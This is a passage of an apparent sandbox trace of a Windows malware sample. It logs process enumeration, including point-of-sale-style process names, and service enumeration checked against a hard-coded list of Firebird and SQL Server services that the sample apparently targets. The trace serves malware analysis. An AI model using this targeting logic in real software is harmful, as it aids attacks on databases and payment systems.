lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0060.485] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0060.485] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0060.486] lstrlenW (lpString="creditservice.exe") returned 17 [0060.486] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0060.487] lstrlenW (lpString="edcsvr.exe") returned 10 [0060.487] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0060.487] lstrlenW (lpString="fpos.exe") returned 8 [0060.487] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0060.488] lstrlenW (lpString="isspos.exe") returned 10 [0060.488] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0060.489] lstrlenW (lpString="mxslipstream.exe") returned 16 [0060.489] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0060.489] lstrlenW (lpString="omnipos.exe") returned 11 [0060.489] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0060.490] lstrlenW (lpString="spcwin.exe") returned 10 [0060.490] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0060.491] lstrlenW (lpString="spgagentservice.exe") returned 19 [0060.491] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0060.492] lstrlenW (lpString="utg2.exe") returned 8 [0060.492] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0060.492] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0060.492] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0060.494] lstrlenW (lpString="glow be.exe") returned 11 [0060.494] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0060.495] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0060.495] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0060.495] lstrlenW (lpString="contains roles was.exe") returned 22 [0060.495] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.496] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.496] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0060.497] lstrlenW (lpString="taskhostw.exe") returned 13 [0060.497] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0060.497] lstrlenW (lpString="taskhostw.exe") returned 13 [0060.497] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0060.498] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0060.498] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0060.499] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0060.499] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0060.499] lstrlenW (lpString="sc.exe") returned 6 [0060.499] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0060.500] lstrlenW (lpString="UsoClient.exe") returned 13 [0060.500] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0060.501] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0060.501] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.501] lstrlenW (lpString="conhost.exe") returned 11 [0060.501] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1204, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.502] lstrlenW (lpString="conhost.exe") returned 11 [0060.502] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.502] lstrlenW (lpString="conhost.exe") returned 11 [0060.502] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.503] lstrlenW (lpString="svchost.exe") returned 11 [0060.503] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0060.504] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0060.504] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.504] lstrlenW (lpString="svchost.exe") returned 11 [0060.504] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.505] lstrlenW (lpString="cmd.exe") returned 7 [0060.505] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0060.505] CloseHandle (hObject=0x27c) returned 1 [0060.505] Sleep (dwMilliseconds=0x1f4) [0061.257] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cebd0 [0061.258] EnumServicesStatusExW (in: hSCManager=0x4cebd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0061.259] GetLastError () returned 0xea [0061.259] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x3d911b8 [0061.259] EnumServicesStatusExW (in: hSCManager=0x4cebd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d911b8, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d911b8, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0061.260] CloseServiceHandle (hSCObject=0x4cebd0) returned 1 [0061.260] lstrlenW (lpString="Appinfo") returned 7 [0061.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.261] lstrlenW (lpString="AppXSvc") returned 7 [0061.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0061.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0061.261] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0061.261] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0061.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0061.261] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.261] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.261] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.261] lstrlenW (lpString="Audiosrv") returned 8 [0061.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0061.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0061.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0061.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0061.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0061.261] lstrlenW (lpString="BFE") returned 3 [0061.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.261] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.261] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.262] lstrlenW (lpString="BITS") returned 4 [0061.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0061.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0061.262] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0061.262] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0061.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0061.262] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0061.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0061.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0061.262] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0061.262] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0061.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0061.262] lstrlenW (lpString="CDPSvc") returned 6 [0061.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0061.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0061.262] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0061.262] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0061.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0061.262] lstrlenW (lpString="ClickToRunSvc") returned 13 [0061.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0061.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0061.262] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0061.262] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0061.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0061.262] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0061.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0061.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0061.263] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0061.263] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0061.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0061.263] lstrlenW (lpString="CryptSvc") returned 8 [0061.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.263] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.263] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.263] lstrlenW (lpString="DcomLaunch") returned 10 [0061.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.263] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.263] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.263] lstrlenW (lpString="DeviceAssociationService") returned 24 [0061.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0061.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0061.263] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0061.263] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0061.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0061.263] lstrlenW (lpString="Dhcp") returned 4 [0061.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.263] lstrlenW (lpString="Dnscache") returned 8 [0061.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.264] lstrlenW (lpString="DoSvc") returned 5 [0061.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0061.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0061.264] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0061.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0061.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0061.264] lstrlenW (lpString="DPS") returned 3 [0061.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.264] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.264] lstrlenW (lpString="DusmSvc") returned 7 [0061.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0061.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0061.264] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0061.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0061.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0061.264] lstrlenW (lpString="EventLog") returned 8 [0061.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0061.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0061.264] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0061.265] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0061.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0061.265] lstrlenW (lpString="EventSystem") returned 11 [0061.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.265] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.265] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.265] lstrlenW (lpString="FontCache") returned 9 [0061.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0061.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0061.265] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0061.265] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0061.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0061.265] lstrlenW (lpString="gpsvc") returned 5 [0061.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.265] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.265] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0061.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.265] lstrlenW (lpString="iphlpsvc") returned 8 [0061.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.265] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.265] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.265] lstrlenW (lpString="KeyIso") returned 6 [0061.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0061.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0061.266] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0061.266] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0061.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0061.266] lstrlenW (lpString="LanmanServer") returned 12 [0061.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.266] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.266] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.266] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.266] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.266] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.266] lstrlenW (lpString="lfsvc") returned 5 [0061.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0061.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0061.266] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0061.266] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0061.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0061.266] lstrlenW (lpString="lmhosts") returned 7 [0061.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.266] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.267] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.267] lstrlenW (lpString="LSM") returned 3 [0061.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0061.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0061.267] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0061.267] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0061.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0061.267] lstrlenW (lpString="MapsBroker") returned 10 [0061.267] lstrcmpiW 